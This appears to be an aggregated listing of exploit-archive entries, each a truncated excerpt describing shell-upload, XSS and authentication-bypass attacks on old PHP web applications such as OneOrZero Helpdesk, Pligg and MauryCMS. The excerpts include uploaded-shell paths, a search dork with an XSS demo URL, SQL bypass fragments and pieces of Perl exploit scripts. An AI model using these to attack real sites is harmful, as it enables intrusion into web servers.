phpGreetCards XSS / File Upload

................................................................................................... remote shell upload/xss script: phpGreetCards download from:http://www.w2b.ru/download/phpGreetCards.zip www.site.com/path/index.php?mode=select&category shell:...

phpEmployment Arbitrary File Upload

remote shell upload script: phpEmployment download from:http://www.w2b.ru/download/phpEmployment.zip www.site.com/path/auth.php?mode=regnew&adtype=job shell: www.site.com/path/photoes/numbershell.php ----------------------------------------------------------------------------------------...

OneOrZero Helpdesk 1.6 Shell Upload Exploit

!/usr/bin/perl =about OneOrZero 1.6. Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: In 'tinfo.php' script there are function named uploadAttachment through which we are able to upload files. It does not checks what the file is uploaded. EXPLOIT WORK:...

Pligg 9.9.5b Upload Shell / SQL Injection Exploit

!/usr/bin/perl =about Pligg 9.9.5 Beta Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: Vulnerability hides in 'evb/checkurl.php' unfiltered $GET'url' parameter. Actually, it has filtration. Filtration strips tags and converts html special chars , but ...

FlexPHPDirectory 0.0.1 - Authentication Bypass

FlexPHPDirectory 0.0.1 - Authentication Bypass Autore: x0r Email: [email protected] Site: http://w00tz0ne.altervista.org/index.php Cms: Flexphpdiren Version: 0.0.1 Download: http://www.china-on-site.com/flexphpdir/ Bug In \admin\usercheck.php 'n' \add.php $sql = "select username,adminid from...

FlexPHPDirectory 0.0.1 - Authentication Bypass

Autore: x0r Email: [email protected] Site: http://w00tz0ne.altervista.org/index.php Cms: Flexphpdiren Version: 0.0.1 Download: http://www.china-on-site.com/flexphpdir/ Bug In \admin\usercheck.php 'n' \add.php $sql = "select username,adminid from linkexadmin where username='$checkuser' and...

Flexphplink Pro - Arbitrary File Upload

Flexphplink Pro - Arbitrary File Upload !/usr/bin/perl HAPPY CHRISTMAS !! Flexphplink Pro http://www.hotscripts.com/jump.php?listingid=21062&jumptype=1 Bug: Arbitrary File Upload I coded this exploit just for fun ; Exploit coded by Osirys osirysatlivedotit http://osirys.org Greets: x0r, miclen,...

phpEmployment (php upload) Arbitrary File Upload Vulnerability

No description provided by source. remote shell upload script: phpEmployment download from:http://www.w2b.ru/download/phpEmployment.zip www.site.com/path/auth.php?mode=regnew&adtype=job shell: www.site.com/path/photoes/numbershell.php...

doop CMS 1.4.0b - Cross-Site Request Forgery / Arbitrary File Upload

-------------------------------------------------------------------------- | Project: Doop document.admin.submit ---------------------------------------------------------------------- -- Upload Shell -- Ok. Una volta nel pannello di amministrazione possiamo uppare qualsiasi file non controlla...

phpGreetCards - Cross-Site Scripting / Arbitrary File Upload

................................................................................................... remote shell upload/xss script: phpGreetCards download from:http://www.w2b.ru/download/phpGreetCards.zip www.site.com/path/index.php?mode=select&category shell:...

OneOrZero helpdesk 1.6.*. Remote Shell Upload Exploit

Exploit for unknown platform in category web applications ===================================================== OneOrZero helpdesk 1.6.. Remote Shell Upload Exploit ===================================================== !/usr/bin/perl =about OneOrZero 1.6. Perl exploit AUTHOR discovered & written ...

OneOrZero helpdesk 1.6.x. - Arbitrary File Upload

!/usr/bin/perl =about OneOrZero 1.6. Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: In 'tinfo.php' script there are function named uploadAttachment through which we are able to upload files. It does not checks what the file is uploaded. EXPLOIT WORK:...

Social Groupie (create_album.php) Remote File Upload Vulnerability

No description provided by source. || || | || o,7 || . o7 || 4||| ow, : / / . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'\ /\ \ | | /, \ /\/\L\ \ \ \ ,/\ /\ \ \ \ / | | //\ \ /' \ /\ //\ /'\ \ /\ \ \ \ /'\ \ | | \ \ /\ /\ \ \ \ /...

Living Local 1.1 (XSS-RFU) Multiple Remote Vulnerabilities

No description provided by source. Authot: Bgh7 Home: http://ozelteam.com - Turk Bilisim Gücleri Pst: [email protected] ============================= Dork: allinurl:clientsignup.php "classifieds" Dork2: Powered By: Living Local V1.1 Demo: http://www.jerseyads.net/listtest.php?r="scriptalert/script...

PHP Support Tickets 2.2 Remote File Upload Vulnerability

Exploit for unknown platform in category web applications ======================================================== PHP Support Tickets 2.2 Remote File Upload Vulnerability ======================================================== remote file upload script: PHPSupportTicketsv2.2 download...

cpcommerce-bypass.txt

Author: girex Homepage: girex.altervista.org CMS: cpCommerce 1.2.6 Site: http://cpcommerce.cpradio.org/ Bug: URL Rewrite - Input variables overwrite PoC: Auth bypass - Shell upload Note: Works regardless php.ini settings Vendor informed: 23/11/08 cpCommerce 1.2.7 released: 30/11/08 Public advisor...

CPCommerce 1.2.6 - URL Rewrite Input Variable Overwrite Authentication Bypass

CPCommerce 1.2.6 - URL Rewrite Input Variable Overwrite Authentication Bypass Author: girex Homepage: girex.altervista.org CMS: cpCommerce 1.2.6 Site: http://cpcommerce.cpradio.org/ Bug: URL Rewrite - Input variables overwrite PoC: Auth bypass - Shell upload Note: Works regardless php.ini setting...

MauryCMS <= 0.53.2 Remote Shell Upload Exploit

No description provided by source. !/usr/bin/perl =about MauryCMS = 0.53.2 Remote Shell Upload Exploit ---------------------------------------------- by athos - stakerathotmaildotit download on http://cms.maury91.org thnx Osirys =cut use strict; use warnings; use LWP::UserAgent; my...

maurycms-upload.txt

!/usr/bin/perl =about MauryCMS ; foreach@read $shell .= $; closeFILE; &usage if $host ! /http://.+?$/i && $file ! /a-zA-Z/i; my @path = split ///,substr$host,7; $http = new LWP::UserAgent agent = "Mozilla/4.5 en Win95; U", ; @auth = split':',getcookies; ifnot defined$path1 $user = qqnick=$auth1;...

MauryCMS <= 0.53.2 Remote Shell Upload Exploit

Exploit for unknown platform in category web applications ============================================== MauryCMS ; foreach@read $shell .= $; closeFILE; &usage if $host ! /http://.+?$/i && $file ! /a-zA-Z/i; my @path = split ///,substr$host,7; $http = new LWP::UserAgent agent = "Mozilla/4.5 en...